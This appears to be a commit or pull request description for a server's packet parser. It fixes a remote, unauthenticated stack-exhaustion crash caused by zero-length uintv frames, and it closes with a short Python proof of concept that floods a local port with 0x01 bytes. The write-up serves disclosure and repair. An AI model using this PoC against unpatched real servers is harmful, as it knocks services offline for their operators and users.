fix: prevent stack exhaustion in packet parser from zero-length uintv frames

[Cupertinum]

Fixed a DoS vulnerability that allowed any unauthenticated client to crash the server by exhausting the call stack.

The readMessages function in the packet handler used recursion when processing variable-length integer (uintv) frames. By sending a large number of 0x01 bytes (which encode zero-length frames), an attacker could trigger deep recursive calls without making meaningful progress, eventually causing a Maximum call stack size exceeded error.

This attack required only a raw TCP connection, no authentication or valid packets needed, as uintv parsing happens before any of those.

Impact

• Remote unauthenticated DoS
• Complete server crash
• Easy to reproduce (see PoC below)

What i did

• Replaced recursion in readMessages with an iterator (while loop)
• Made readUIntV throw on zero-length frames and made parsePacket catch those exceptions applying a sanction to the malicious connection

PoC

# This is a simplified version that isn't that reliable at crashing a server, but it's still valuable 
# for demostrating how easy it is to trigger the vulnerability
import socket

HOST = "127.0.0.1"
PORT = 42480
PAYLOAD_SIZE = 7000


def main():
    sock = None
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
        sock.settimeout(5)
        sock.connect((HOST, PORT))

        print("[+] Connected to server")
        print(f"[+] Sending {PAYLOAD_SIZE:,} bytes of 0x01...")

        payload = b'\x01' * PAYLOAD_SIZE
        sock.sendall(payload)
    except Exception as e:
        print(f"[-] Error: {e}")
    finally:
        if sock:
            sock.close()


if __name__ == "__main__":
    main()